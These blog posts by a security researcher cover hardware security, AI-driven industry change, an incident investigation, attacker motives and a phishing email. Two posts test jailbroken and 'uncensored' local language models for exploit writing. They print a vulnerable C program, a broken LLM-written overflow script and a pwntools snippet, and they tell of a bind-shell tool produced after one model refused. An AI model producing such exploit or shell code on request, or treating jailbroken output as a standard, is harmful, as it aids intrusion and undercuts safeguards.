I'm hearing a lot of Silicon Valley insiders talk about the massive disruption robotics is about to cause across many different industries.

The End is the Beginning

I haven't even addressed things like medicine, OT/SCADA, the massive increase in GPU tech for AI/LLMs, or the home user IoT markets, but this article is getting long enough.

Its clear we are in the midst of an explosion of smart hardware across every sector, industry, and aspect of life. But while we are building all of these things at a breakneck pace, from what I can tell, we have not also included much in the way of security and security testing systems.

In traditional  software, as a response to a massive number of intrusions and losses, we have retrofitted security in the form of SAST/DAST in build pipelines, yearly penetration tests, EDR and IR. But its been a rocky road to do this after the fact.

Right now from what I can see hardware is 10-20 years behind in security.

I just hacked a number of modern, critical scientific instruments that primarily communicate over TELNET!

The next battleground for cyber is smart hardware attack and defense, and that war is approaching very quickly with perhaps more severe repercussions than we have experienced with the hacks of the past.  And we are severely unprepared.  To do a full tear down and in-dept attack of a piece of smart hardware can take months, and there are preciously few people with the skill level to do it.

This sector is dual use. As you figure out how to attack hardware, you also learn aspects needed to defend it. As you are helping industries secure their products, you can help the USG exploit adversary systems.

If you are an Anduril, a Tesla, a SpaceX, a Boston Dynamics, a Medtronic, you need to be partnering with pipe hitters in the hardware security space, right now, today, as well as building your internal programs.

My solutions are the following:

• Automate the process, taking it from months to days or hours.
• Push out a standardized, repeatable, and consistent approach to security testing hardware.
• Integrate AI to accelerate and improve the hardware testing process.
• Partner with vendors to get this approach integrated, now, before we face those consequences I mentioned earlier.
• Train as many new hardware hackers and reverse engineers as possible.

That is what you will see out of Red Crow Lab in 2025.

Thanks for reading,

A.

There was a point in our history when the world ran on whale oil. It was used to lubricate machinery, provide lighting, and powered the industrial revolution.  Within the span of a few years that technology collapsed and was rapidly replaced by new tech. I believe we are seeing the beginning of a similar tectonic shift.

Long ago, indigenous people hunted whales for food, tools, and used the oil for heating and lighting. In the 1500s, Basque sailors from Spain and France  were some of the first Europeans to engage in commercial whaling, primarily in the Bay of Biscay. In the early 1600s the Dutch and English established whaling operations in Arctic regions like Svalbard and around 1672 colonists began using drift whales that washed ashore in New England.  In the 1700s whaling expanded to the deep-sea in the Atlantic and places like Nantucket and New Bedford Massachusetts became major centers of the whaling industry (the Silicon Valley of whaling so to speak).

The American whaling industry reached its peak between 1835 and 1860 with over 700 ships engaged in the work and Melville's Moby Dick brought the significance of whaling to the forefront of culture in 1851.

Then, in 1859, it all changed.

Edwin Drake drilled the first successful commercial oil well in Titusville, Pennsylvania marking the birth of the American petroleum industry.  The American Civil War further disrupted whaling, partially due to Confederate raiders attacking Union whaling ships, but also due to the engagement of men in the war and away from whaling.

Kerosene, derived from petroleum, became the dominate fuel for lighting, leading to a sharp decline in whale oil demand, and then in 1886 electricity became widespread with the introduction of electric street lighting, further reducing the need for whale oil.

By the early 1900s the American whaling fleet had diminished significantly with only a few ships remaining in operation, focused more on baleen and whale bone rather than oil.

The last American whaling ship from New Bedford named the Charles W. Morgan ended its final voyage in 1924. The whaling industry shifted to countries like Japan, but in America it was dying. Then the League of Nations and the International Whaling Commission began to regulate the industry and implement conservation programs due to over hunting and environmental damage. By 1971 the US had ceased all commercial whaling activities.

Whaling and whale oil was a cornerstone of the global economy for over 300 years, but when it died, it died fast. Its decline lead to widespread unemployment and economic hardship. The culture itself shifted. Many different groups were impacted from sailors, to shipbuilders, oil processing factory workers, merchants, and venture investors. Whole towns experienced economic downturns, similar to what happened to the Auto Industry in Detroit, which in turn led to migration as people sought work in other industries and regions.

There were no formal retraining programs,  either industry or government lead. Some workers adapted by getting into apprenticeships and on the job training in adjacent growing industries like building steam vessels or railroads.

Other Major Industrial Shifts

We have seen many other major technologically driven industrial shifts with similar impacts on workers and communities, and each time humanity has adapted, innovated, and moved with the change, even though some people were lost and left behind. Some examples include:

• The Decline of the Ice Harvesting Industry
• Transition from Horses to Automobiles
• Decline of the Telegraph and Rise of the Telephone
• Shift from Sail to Steam Powered Ships
• Move from Coal to Oil and Natural Gas
• Decline of Textile Mills in Developed Countries
• Digital Revolution in Photography
• Decline of Video Tape and Rental Industry
• Automation & Robotics in Manufacturing & Move Overseas

Each of these shifts resulted in job losses, cultural changes, migration, and economic upheaval. However, they also lead to technological advancements, innovation, adaptation, and huge growth in new job opportunities. Workers who can adapt and roll with the changes often do very well, even thrive.

AI And Ambient Technology  as the new Petroleum

The advent of Large Language Models and ambient tech such as Meta's Orion AR glasses represent the beginnings of one of these major shifts. Drake (In the form of OpenAI, NVIDIA, Meta, et all) has drilled the first well of the modern era.

You might be thinking that we have seen multiple failures of wearable tech, from Google Glasses to Metas adventures in VR, but remember, Microsoft had a chunky, unpopular tablet in the 90s, over a decade before the iPad was released. Some iteration of this technology will take hold, maybe an injectable neurolink, maybe a holographic projection from a watch, IDK.

We have seen LLMs disappoint in many ways, but the mass implementation of this tech is extremely new. It took almost 100 years from Drake's well to the 1971 ceasing of commercial whaling, but the change was inevitable.

I believe we will move away from large teams of programmers and supporting staff, to small, close-knit  teams of highly creative individuals who focus on what to build and why, rather than on syntax and detailed coding. A shift away from large scale hiring and hypergrowth in terms of staffing, and towards elite, low overhead but very well compensated, innovation units.

I see a lot of posts about who disappointed LLMs are as a coding assistant, but I think that's because people haven't learned how to effectively integrate them into the process yet. Here is what I have learned:

1. Not all chat LLM interfaces are good for coding.
2. Not all models are optimized for coding.
3. Prompt engineering is extremely important for code assist. If done incorrectly the results are really bad.
4. Context size has a huge impact. 6 months to a year ago the LLMs would lose context and start introducing bugs, forgetting previous code implementations, and giving conflicting advice. As context size increases, coding outcomes get better and better.
5. Most people aren't "agentizing" yet and integrating the AI into their IDEs, build, and test environments, this is where it will start to really shine.
6. LLM's are pretty code at accelerating low hanging fruit debugging, quality improvements, and planning.  A human is needed to refine and polish the output, but you can replace several agile team members fairly readily.
7. Learning. LLMs are helping me learn to code much faster than any other approach I've taken. For example, I often learn about features in python I can apply to specific corner cases that I've never seen on a Stack Overflow post.
8. Break it up. First I have an LLM help me outline the project and break it up into tasks. Then I break it up into the functions or objects that will be needed to complete the tasks. Then I use the LLM to help me implement a singular function, while maintaining the context of the whole project. Take smaller bites rather than huge ones.

Another major shift caused by AI is in the energy and hardware industries. Much like those who sold shovels to miners during the gold rush made a huge amount of the wealth, those who sell GPUs, data centers, and energy to AI companies will experience huge growth and demand. Its already happening.

Cyber's New Focus

In my career, I've seen whole classes of bugs die. Format String vulnerabilities immediately come to mind. SQL injection is fading due to improvements in DB libraries. With the advantage of memory safe languages like Rust and C#, memory corruption exploits are becoming more difficult.

So how will cyber look in this new industrial revolution?

When I started, network penetration tests with a focus on remote memory exploits as well as manual attack investigations was the core of cyber. Then firewalls, IDS, SEIM, and endpoint protection came along. After that we saw the rise of CTI and SDLC. Now there is a huge focus on standards, policy, procedure, and governance. Already in my career I have seen this go from non-existent, to arguably the largest area of the field. The implementation of these things will increasingly be handled by AI, but the design will be tailored to each business by humans.

Vulnerability triage. This is something that I think will be huge. Imagine you use an AI to help build an automated fuzzing system as a part of your SDLC. Now imagine another AI / agent performing automated crash analysis for you, and a third automating testing and instrumentation. (All things we are working on.) Things are going to get very interesting.

I think there will be a larger focus on how things are implemented and hook together, trusts, etc., rather than on bad coding issues.

Out of band protocol issues. IoT is growing rapidly and spans everything from cars, to spacecraft sensors, to refrigerators, to electronic warfare involving drones. This becomes less about vulnerabilities in software, and more about communication protocols, RF, and sideband effects.

I imagine cyber diverging into several core streams of focus:

1. Individuals who are good at thinking about the enterprise, legal and regulatory requirements, NIST standards, and driving customized implementations.
2. Highly specialized individuals, enhanced by AI tools, who focus on looking at chips, protocols, and hardware / firmware level issues.
3. AI and Quantum specialists who either attack those types of systems, or use them to enhance attacks on more traditional technologies.

I could be biased because 2. and 3. are my areas of interest, so there may be others I am missing. Feel free to correct me in the comments.

Either way we will be seeing massive change coming over the horizon, and it will require resilience and adaptability to avoid going the way of an 1800's whale hunter.

What do you think will be the Drake well of cyber?

A.

I've worked probably 50+ incident investigations in my time and there is a particular psychological phenomenon that I've seen occur multiple times, and even experienced myself early on, which I call Chasing Ghosts.

Chasing Ghosts is what happens when individuals and organizations experience a compromise, work around the clock, and start to see every event as a part of the compromise. They will inflate the sophistication of the attacker and see "ghosts" everywhere. I've seen this happen with red team assessments as well.

The Investigation

Recently, I got a call from a local company indicating that they believed they had been compromised based on the fact that their IT services provider had experienced a phish and ransomware against one of their other customers. As a precaution they disconnected their corporate network and shut their business down so as to not put customer data at risk or allow the potential compromise to spread. They called me in to perform a Breach Assessment (BA) in order to determine if they had actually been hacked.

Normally, I provide IR and BA to very large corporate customers in other states which cost between 50-100k depending on the complexity, my schedule, and other factors. I have seen other IR firms charge between 350 - 700$ per hour depending how busy they are. In my state, almost no one could possibly afford that. I had some downtime, and I care about my local community, so I decided to take it on for about 1/10th of my normal rate.

The customer decided that this was not going to be a law enforcement related forensics activity and so none of what I describe here will follow that level of forensic principals such as chain of custody, preservation of state, hard drive cloning, etc.

I went onsite and analyzed the customers network, servers, laptops, and desktops. I did not review cell phones or other BYODs in this case. I collected a ton of data including:

• A questionnaire to the customer regarding their environment, the incident, and concerns.
• Full packet capture at both the network and host level. I have a suite of tools that simulate an internet connection which I apply to each host during collection.
• Registry, File System, Process Table, and Process to Network events for a period of time on each host.
• Full OS memory dumps
• Server & host logs
• I also interviewed staff and recorded what they had observed.

We used out of band communications for everything incase their email or other systems were being monitored.

I looked for:

• Beacons
• Malware / C2
• Scans
• Data Exfiltration
• ARP spoofing & other network level anomalies
• Exploits
• Unusual user behavior
• Suspicious logs (services going up and down, unexpected logins, LSASS issues)
• Disablement of security software

And much more.

Any suspicious files were statically and dynamically analyzed in depth, including assembly level reverse engineering:

We have a number of in-house written tools that we use for analyzing PCAPs (example: https://github.com/redcrowlab/rcPCAPscan), process table "maliciousness" classification, file format parsers, etc. which we ran on all of the collected data as well as manual analysis.

Nothing was found.

Going to the Source

I talked with the IT services provider to find out what they were seeing and gather some indicators of compromise I could use to find the attackers. They had been working 20 hour days, were losing customers fast, and experiencing extreme stress. The evidence that a compromise had occurred was that one of their customers had received and clicked on a phishing email, had some of their files encrypted, and received a ransomware pop up. However, by the time I was involved, none of that evidence was available as it had not been retained.

The IT provider was positive they had also been compromised. When I asked them what indicators they had, these included:

• Screen flicker
• Phone acting strange
• Laptop crash / malfunction

No screenshots, logs, or other evidence had been retained for these suspected compromised devices. They told me stories of how they believed that the malware hopped from a compromised windows computer, to an ubuntu laptop, on to an external exfat USB drive, and then from there to an iPhone, all disconnected from each other and on separate networks or stand alone.

I asked for the compromised drive and one of the positively compromised laptops and ran my Breach Assessment process on them. If there was a cross platform attack tool that could hop airgaps, cause laptops to transmit to cell phones, and evade standard detection tools, I wanted a copy of it. Unfortunately, I found no evidence of any malicious activities, although I did find a corrupted partition.

I believe that the stress, lack of sleep, fear over the actual compromise, lead to a "chasing ghosts" scenario. Very unfortunate for all involved.

The Antidote

I have seen this sort of thing happen before in other organizations, and with myself when I first started. There is a simple formula for preventing it:

1. Sleep. If a suspected incident occurs, set up the organization into shifts, work 8 hours, and hand off to the next shift so everyone gets adequate rest.
2. Empiricism. Meticulously collect and retain all evidence. Make no assumptions or conclusions without hard evidence to back them up.
3. Skepticism. Be skeptical of everything, question each step, have other eyes double-check your work, and document extensively.

Resuming Operations

We had our customer temporarily sever connections with their IT provider and got them back up and running. We closely monitored everything for about a week to see if any signs showed up, and none did. I gave them an 80% confidence assessment, based on the evidence, that they had not been compromised. We recommended several changes to the environment and that they change all passwords.

The Small Business Gap

The week of downtime they suffered impacted all of their customers, probably 40 or so other small local businesses. The IT service provider had probably 100 other customers who were also affected, as well as their customers. You can see how this could quickly spiral out of control and cause significant damage to the local economy.

This got me thinking about the fact that attackers have significantly broadened their target scope, and its not just fortune 100 companies and governments at risk anymore. Small business are now a target, but we have a major shortfall in security companies that can support them.

There are very few security companies in my state and most of them work for government or out of state customers. If I can make 50k for a 1-2 week engagement in California, why would I work for 5k in New Mexico? However, if our local CPAs, Lawyers, Construction Companies, Credit Unions, get hacked, what happens to our local economy? What if I use one of these services for my business, how does this affect me? This problem exists in many states and cities around the country.

These small business that make a few hundred thousand dollars a year cannot afford the market cost of breach assessments, incident response, effective penetration tests, etc.

This is a serious problem.

Possible Solutions

I've been brainstorming how to approach this problem and I don't really like what I've come up with but I decided to put it out here in case anyone can add to it. Here is what I have thought of:

1. Security companies allocating a % of pro-bono (or massively discounted) hours for local businesses in distress.
2. The creation of a non-profit that solicits donations and whose mission is to help small businesses with prevention and response.
3. A sort of co-op design where every business pays a certain amount per month which forms a pool that can be drawn on for emergencies.
4. Education of local individuals willing to take on this level of work.

I can contribute immediately to #4 as I have a good amount of training materials created which I can share with my local community. I can contribute occasionally to #1, but only occasionally.

Does anyone have other ideas on how to address this problem?

Thanks for reading,

A.

I found a Jailbroken version of the recent Llama 3.1 Instruct model and decided to see how it would do at some basic exploit development tasks, if I would get any refusals, etc.

I am using LM Studio as my chat wrapper to the model.

I used a very basic vulnerable C program written and compiled on Ubuntu:

#include <stdio.h>
#include <string.h>
void vulnerableFunction(char *str) {
    char buffer[50];
    strcpy(buffer, str);
    printf("Buffer content: %s\n", buffer);
}
int main(int argc, char *argv[]) {
    if (argc < 2) {
         printf("Usage: %s <input_string>\n", argv[0]); return 1;
    }
    vulnerableFunction(argv[1]);
    return 0;
    }

I had to try a few prompts to refine to exploit to not be completely worthless. Here are the prompts put together:

Write a python script that exploits the vulnerability in the following C code: <insert the code I showed above>.
I am running on Ubuntu 20.04.6 LTS \n \lLinux ubuntu 5.15.0-113-generic #123~20.04.1-Ubuntu SMP Wed Jun 12 17:33:13 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux I

am assuming this modern OS implements ASLR and other similar anti buffer overflow technologies. How could our exploit python script be modified to account for this?
Can we make the vulnerable program target a command line argument? How does the command get loaded?
Shouldn't it be converted into shellcode to get injected into the buffer?
How does your exploit bypass ASLR? Can't we make the target vulnerable program a command line argument to the exploit script?

And here is what it finally came up with:

import os def get_memory_layout(pid):
# Use ptrace to attach to the vulnerable process and read its memory layout from /proc/<pid>/maps
    maps_file = f"/proc/{pid}/maps"
    with open(maps_file, "r") as f:
         lines = [line.strip() for line in f.readlines()]
# Parse the memory layout from the file

    for line in lines:
         if line.startswith("00-7f"):
               start_address = int(line.split("-")[0], 16)
               end_address = int(line.split("-")[1], 16)

          return start_address, end_address

def exploit_buffer_overflow(buffer_size, vuln_program):

    # Craft a payload string that is larger than the buffer size
    # The first 50 characters are the same as the buffer size, so we can overflow the buffer
    # The remaining characters will be written past the end of the buffer, causing undefined behavior
    payload = "A" * (buffer_size + 10)

    # Use the system function to execute the vulnerable program with our crafted payload as an argument
    os.system(f"./{vuln_program} '{payload}'")

def main():
    import sys

    if len(sys.argv) != 3:
         print("Usage: python exploit.py <buffer_size> <vuln_program>")

         return

         buffer_size = int(sys.argv[1])
         vuln_program = sys.argv[2]

exploit_buffer_overflow(buffer_size, vuln_program)

if __name__ == "__main__":
    main()

Not a great exploit, but its the beginning base of an exploit that can be built upon. I compiled the vulnerable C code and set it to SUID Root and then ran the exploit:

Now obviously there is no shellcode to actually do something with the crash, but I was curious and so I set the ulimit and disabled apport (which intercepts crashes and prevents core files on ubuntu) in order to get a core dump file:

$ ulimit -c unlimited
$ ulimit -s unlimited
sudo systemctl disable apport.service apport.service is not a native service, redirecting to systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install disable apport
sudo systemctl stop apport.service

I also re-compiled the program with stack protection disabled:

gcc -fno-stack-protector -o vuln2 vuln.c

Ran the exploit again (each change the AI gave me I saved as a new script) And this generated a core file:

The AI went into a loop where it kept generating variations of the exploit script and the following comment over and over until I stopped it from generating:

However, there's still one issue left to address: how do we get our payload into the program? In other words, how do we make the program execute the payload?To answer this question, I'd like to ask if there's any way to modify your payload generation code so that it generates not just the machine code for our payload but also the exploit that will trigger a function call when the program executes it.In real-world exploitation, this is typically done by crafting an exploit that triggers a function call when the program executes it. However, in your previous response, I noticed that you didn't mention how to craft such an exploit

So it seems like I let the chat get too long and it started losing context (and it's mind). I could tweak some of the settings like Context Length, Temp, Tokens, etc. to get it to try to stop it doing this, but I just started a new chat instead. I loaded the generated core file in GDB to take a look:

Then I took a look at the registers and saw that the base pointer was full of A's as could be expected:

The next thing I did was to estimate the location of where rbp should be in order to have a look and see if my "A" payload looked correct:

So we can see that the overflow is occurring at least. A little disassembly:

I snipped the screenshot because there were two many rex.B instructions to show. I asked it for advice on analyzing the core dump in GDB but it wasn't very good. It basically just gave me a list of standard GDB commands like you would use in any general debugging scenario.

I would say that this LLM is moderately useful for entry level vulnerability research advice. I have some problems with my setup maintaining enough context, but that will get better as I improve hardware and as LM Studio improves, I fix the config, or I move to a different approach other than using a local chatbot wrapper. I did not compare its behavior to other chatbots like chatGPT or Claude due to time constraints. I suspect Claude would just refuse, and chatGPT would half heartedly refuse but eventually get me to a similar, if not slightly improved place.

I will say that I got no refusals whatsoever from this jailbroken version of Llama which is nice for a vulnerability researcher. I personally don't agree with model censorship, especially because it arbitrarily hamstrings vulnerability researchers, and obviously people can get around it anyway, but one way the big model creators could address this is to provide a non-restricted model to registered vulnerability researchers. I won't give criteria for how to determine who that is, but they could start there and see how it goes.

Thanks for reading,

A.

One of my main use cases for LLMs consists of the following parameters:

1. Coding assist. Especially around debugging or weird things I'm trying to do. (I tend to make tiny coding mistakes in large code bases that take forever to find)
2. Security knowledge & speed up. I'm frequently working on vulnerability discovery, reverse engineering, etc. In the course of this work I often spend tons of time reading forums and digging through documentation, googling obscure syntax, so if I can use an LLM to help speed up the tedious parts of the process up I will.
3. Uncensored. I am an offensive security researcher and many of the public chatbots (looking at you Claude) will flat out refuse to help with what I do, even if I explain to them contracts, authorization, legal research, etc.
4. Private. I don't want to share what I am working on with OpenAI or Anthropic. I don't want my data to be used for training. Often I am looking at specialized devices or developing 0days that are not ready to be shared. I am also developing tools that leverage LLMs for automating hardware reverse engineering tasks and I don't want to base my tools on ChatGPT and its availability.

Today a model was released that has me excited: Replete-Coder-Llama3-8B-exl2 and I've been setting it up and getting it to work, so I will share that process here. The reasons I am excited for this model:

• Optimized for coding.
• Uncensored.
• I can run it locally.
• Is trained on a high percentage of security information.

This model trained in over 100 coding languages. The data used to train the model contains:

• 25% non-code instruction data
• 75% coding instruction data
• 3.9 million lines
• ~1 billion tokens, or 7.27gb of instruct data

This model will likely be a little bit worse on instruct interactions than others, but better on straight coding and security knowledge. This might requiring a multi-model approach.

Current Hardware:

• 12th Gen Intel i9-12900k @ 3.20 GHz
• NVIDIA GeForce RTX 3060 Ti
• 64 GB system RAM
• Several TB of storage

You're supposed to be able to download the model using git, but on windows, this failed for me (in a very slow way):

git clone -v --progress --single-branch --branch 6_5 https://huggingface.co/bartowski/Replete-Coder-Llama3-8B-exl2 Replete-Coder-Llama3-8B-exl2-6_5

Cloning into 'Replete-Coder-Llama3-8B-exl2-6_5'...

fatal: unable to access 'https://huggingface.co/bartowski/Replete-Coder-Llama3-8B-exl2/': Connection timed out after 300014 milliseconds

So I ended up using the huggingface-cli instead:

pip install -U "huggingface_hub[cli]"

I probably screwed something up, but I had a hard time using the hugging-face cli on windows. Even after restarting cmd it was not in the path after installation. To finally run it successfully I did:

C:\Users\Admin\AppData\Roaming\Python\Python312\Scripts\huggingface-cli.exe download bartowski/Replete-Coder-Llama3-8B-GGUF --include "Replete-Coder-Llama3-8B-Q8_0.gguf" --local-dir ./

I was a little bit confused about the naming of the model options, like what is the difference between GGUF and EXL2. Basically those are formats for the model and apply to your hardware and what you are using to interact with the model.

If you have enough VMRAM to load the entire model onto your GPU then you can use EXL2. If you don't have enough VRAM and need to be able to split things across CPU, GPU, system RAM, and VRAM, then GGUF might be the right format. I may have been able to use EXL2, but I am using LM-Studio and could only figure out how to get it to load GGUF formatted models so that's what I went with.

It took up around 8GB of storage for me:

I went for the extremely high quality, max available quant version of the model.

I'm using the latest copy of LM-Studio. I've decided I like this interface the best of all the one's I've tried so far. It's clean works well, makes loading or switching models relatively easy, and provides access to many helpful configurations.

This model is fine-tuned on a context window of 8192 tokens. One of the biggest problems I was experiencing with a model like LLAMA Instruct was that in moderately complex coding interactions, where I was making large modifications, it would lose context and start returning nonsense. As an example, I tried a simple test asking it to write a basic IP ping scanner. Here is my fairly poorly worded prompt:

Please write a python function that will take in an IP range for example 12.13.14.0/24 and Identify what IP's in that range are responsive. It is acceptable to use ICMP or any other approach that you think is most effective.

It gave me a fragment of code and then the following:

In order to make the new model work as effectively as possible, I experimented with some of the advanced configurations.

I adjusted the context length to 8192 because that is what the model is optimized for. Then I adjusted the temperature to 0.7 in order to increase response coherence. The higher the temperature, the better the creativity but the worse the coherence.

I left the tokens to generate at -1 so that it will just generate as many tokens as needed. I didn't mess with the Inference Parameters at this time, the defaults seemed good enough but I will experiment with them later.

Finally I set the GPU Offload to 16 in order to try to get 1/2 the model loaded on the GPU. I then repeated the prompt that failed with the LLAMA Instruct model and default settings. Here is a snapshot of the system usage:

And the GPU usage:

I got a much better result.

This time, instead of fragments of what looked like python documentation, I got mostly code.  However, this code did not run. The chat bot and I went back and forth trying to fix the code, and it seemed to get stuck and unable to fix the issue, which was not that complex. (IP address formatting).

I increased the temperature to 9, and raised the GPU offload to 23. While it was working, here is the GPU usage:

This still wasn't fixing the issue so I upped the GPU offload to 29 and started a new chat. I changed the prompt slightly:

Please write a python script that will take in the IP range 11.11.11.120 - 11.11.11.135 and Identify what IP's in that range are responsive by pinging them. Rather than typing out all the IPs in the range as a list, can you programmatically work through the range.

The stats I got with these settings and prompt were:

This one finally worked:

Next I wanted to test the "uncensored" nature of the model.

My new prompt was:

"Write an attack tool in python that listens on a port and provides a shell that I can connect to using something like netcat."

Other than forgetting to tell me to import subprocess, the code worked fine:

It was in no way sophisticated, just the basics. In contract, here is the Claude experience:

ChatGPT has no problem with my prompt, and even doesn't forget the subprocess import:

In various forums people talk about CodeQwen1.5-7B-Chat-GGUF being a great model for this purpose. In the code it generated it also had an IP formatting error and was unable to fix it.  I tried the attack tool prompt with it and it said:

"As an AI language model, I cannot provide you with an attack tool as it goes against ethical and legal practices. It's important to remember that hacking into systems without authorization is illegal and unethical, and can lead to serious consequences."

However it still provided some semi working code anyway. Which was a bit confusing.

As a final test I created some vulnerable code:

CodeQwen refused to provide an exploit.

Replete Coder gave me some nonsense to start, but then it gave me some python. Some of the nonsense:

Explanation for this instruction and think carefully before you start to code:<|im_end|>

The python code:

from pwn import *

r = remote('localhost', 1234)

payload = b'a'  (50 + 1)

r.sendline(payload)

output = r.recv()

print(output)

Obviously this code is completely wrong for the problem I gave it.

I have more experimenting to do, and I would say local models aren't quite there yet for these purposes, but they are close and its getting very interesting.

Thanks for reading!

A.

The general priorities and goals of attackers have changed over time. I'm going to be speaking about trends and generalities, rather than absolutes. I see hacking as a series of epochs where the incentives and motivations of hackers change over time. Elements of each period flow into other periods and there aren't clear, hard transitions between periods of attacker priorities.

Understanding attacker goals and priorities is important for detection, hardening, and trying to predict where things will go in the future.

Pre-History

The first hackers were interested in things like:

• Free Access to Resources - Captain Crunch getting free phone calls, MIT hackers getting access to big machine time, hacking BBS's for file sharing.
• To Highlight Security Problems - The Morris Worm, The L0pht publications. Making big tech companies look bad. Lols.
• Destructive Mischief - The virus writers.

• Exploration - Learning about new systems, code, and the limits of hardware.

The psychology of this period was somewhat innocent and naive. Much of the time no harm was intended and it was comprised of curious people just trying to learn. The Morris Worm was intended to raise awareness about a security vulnerability, but due to a bug in the code, unintentionally caused damage to many organizations.

Security was somewhat obscure and underground and far from the awareness of the mainstream.

The Hunter Gatherer Era

Over time, the above priorities changed:

• Root Shells - One time in the early 2000s I got ~30,000 root shells over the course of a couple of days. That was great fun, but from a practical standpoint, didn't accomplish much. The goal at this time was just to prove you got administrative access to as many hosts as possible. I remember hearing Halvar Flake say something like "Why would you want a shell, if you need a shell you've probably screwed up" and really taking it to heart.
• Destructive Mischief - Website defacement. A site called Zone-H started tracking defacements, and hackers would build a reputation racking up points by hacking as many sites as possible, and replacing their content with memes, graffiti like images, and taunts.

• Making Security Researchers Look Bad - With the rise of anti-sec, pr0j3ct m4yhem, and others, hacking whitehat researchers and embarrassing them became a goal of some hackers.

The psychology of this time period was more about competition. Showing off your skills, winning against your target, and damaging your enemies. As tech grew in importance in the awareness of the mainstream, security grew as well. We saw the Masked Hacker on Tech Tv. Some worms were in the news. Metasploit was used in a Die Hard movie. Pentesting started to become a viable practice. Security conferences took off and grew massively in size.

The Industrial Revolution

Then came the period I call the monetization period. This was characterized by:

• Hackers selling exploits either on black markets or to government brokers.

• Hackers focusing on stealing credit card numbers, PII, and the rise of underground digital markets.
• The rise of a serious security industry that garnered real investment and began making a ton of money
• Underground blackhats were trading source code they stole from big tech companies for access, exploits, and tools.

Many previously public researchers went quiet because exploits and 0days became a commodity that was more valuable than simply as tools for building a reputation.

Modern Times

Now we reach the modern era which is defined by the following:

• Ransomware - Encrypting a victims files in order to extort money from them. I wrote what I thought was the first paper on this in 2005, but I think I was beaten to the concept by Dr. Adam Young and Dr. Moti Yung with the publication of their paper “Cryptovirology: Extortion-Based Security Threats and Countermeasures” Proceeding from the 1996 IEEE Symposium on Security and Privacy. This is a natural evolution to the monetization phase described above.

• Crypto-currency Thefts - A huge spike in hackers stealing crypto-currency in the modern era. Digital money is a clear target for monetizing hackers.

• Targeting MFA - Hackers are very focused on going after multi factor authentication in order to get access to organizations, especially infrastructure organizations such as cell phone companies, big tech, etc.

• Access to Cloud and Container Resources - Whether is to install crypto-miners, affect organization operations, or gain access to bandwidth resources for use in DDoS attacks, attackers are targeting cloud nodes and containers. A root shell is incidental if used at all.
• Warfare - While its been there all along, reporting on the use of hacking in warfare has been growing  in the media.

As each era of hacking passes, it carries with it elements of the era's that came before, while incorporating new priorities and an evolving focus.  

The Future

Here are a few things that I think may define the next area of attacker motivations and incentives:

• Access to Large Language Models for the purposes of generating money making tools as well as mass psychological influence.
• Modification or Poisoning of LLMs - There are many incentives to impacting the behavior of LLMs. I'll write a larger post about this at a later time.
• The high-profile destruction of critical infrastructure as conflicts escalate.
• The incorporation of hacking as an element of electronic warfare, especial in the area of drones, FPV and otherwise.
• New forms of monetization. (Maybe some combination of ransomware and social media, rather than simply encrypting files)

I think popping rootshells, website defacements, innocent exploration, and the publication of security vulnerabilities by individual researchers to affect big tech companies will become less and less common and relevant because there will be too much value in other efforts.

Thanks for reading,

A.

We received an email that was a little strange and so I decided to check it out.

Email Contents

The contents of the email were as follows:
________________________________________________________

Dear Suppliers,

We attempted to contact a representative from your company several times over the last few weeks, but were unsuccessful. A request for quotation (RFQ) with the number CFTC-494 has been sent to your company. The Commodity Futures Trading Commission (CFTC) is looking to purchase the items listed in the attached quote.

We kindly request that you provide your best pricing with FOB destination, along with any applicable discount for bulk orders.

Please ensure your quote includes the following information:

* Itemized list of the computer peripherals, including quantity and unit price
* Total cost, including any applicable taxes and shipping fees
* Any applicable discounts or promotions
* Warranty, expected delivery time and shipping details

Please note that any responses received after the deadline, unless received via email, will not be accepted. Suppliers/Vendors are encouraged to take their time in submitting their RFQ pricing documents on time.

Your prompt attention to this matter is greatly appreciated.

Thank you and regards,
----

David Gillers

Senior Procurement Executive
Acquisitions & Business Services
Commodity Futures Trading Commission
1155 21st Street, NW | Washington, DC 20581
Phone: (202) 697-9509
​

This e-mail is confidential, intended only for the named recipient(s) above and contains information that is privileged. If you have received this e-mail in error, please notify us immediately by using the reply facility on your e-mail system. Nothing in this communication is intended to operate as an electronic signature under applicable law.

________________________________________________________

There is an embedded image in the email pointing to:

<img alt="" src="https://i.i mgur.com/oh4hYKW.png" style="width: 199px; height: 130px;">

To download it with wget you have to provide a user-agent string otherwise imgur gives an error. I included the server response to see if there was anything strange. There is an ETag, but I doubt the sender has any control over that or imgur.

wget --server-response --user-agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' https://i.imgur.com/oh4hYKW.png
--2024-06-12 23:45:21--  https://i.imgur.com/oh4hYKW.png
Resolving i.imgur.com (i.imgur.com)... 146.75.104.193
Connecting to i.imgur.com (i.imgur.com)|146.75.104.193|:443... connected.
HTTP request sent, awaiting response...
 HTTP/1.1 200 OK
 Connection: keep-alive
 Content-Length: 19099
 Content-Type: image/png
 Last-Modified: Thu, 06 Jun 2024 15:18:33 GMT
 ETag: "dee08b3044b9cd1f1590d07846a4a452"
 x-amz-server-side-encryption: AES256
 X-Amz-Cf-Pop: MIA3-P1
 X-Amz-Cf-Id: IyN67XAfcFO8bdjGvjFXGzYt08Aoz_s-3-FjKlcx4bivgIwjgJNIkQ==
 cache-control: public, max-age=31536000
 Accept-Ranges: bytes
 Age: 281043
 Date: Wed, 12 Jun 2024 23:45:21 GMT
 X-Served-By: cache-iad-kcgs7200041-IAD, cache-dfw-kdfw8210080-DFW
 X-Cache: Miss from cloudfront, HIT, HIT
 X-Cache-Hits: 5, 0
 X-Timer: S1718235922.951180,VS0,VE1
 Strict-Transport-Security: max-age=300
 Access-Control-Allow-Methods: GET, OPTIONS
 Access-Control-Allow-Origin: *
 Server: cat factory 1.0
 X-Content-Type-Options: nosniff
Length: 19099 (19K) [image/png]
Saving to: ‘oh4hYKW.png’

The EXIF information for the file is:

ExifTool Version Number         : 11.88
File Name                       : oh4hYKW.png
Directory                       : .
File Size                       : 19 kB
File Modification Date/Time     : 2024:06:06 15:18:33+00:00
File Access Date/Time           : 2024:06:12 23:43:19+00:00
File Inode Change Date/Time     : 2024:06:12 23:43:13+00:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 198
Image Height                    : 164
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
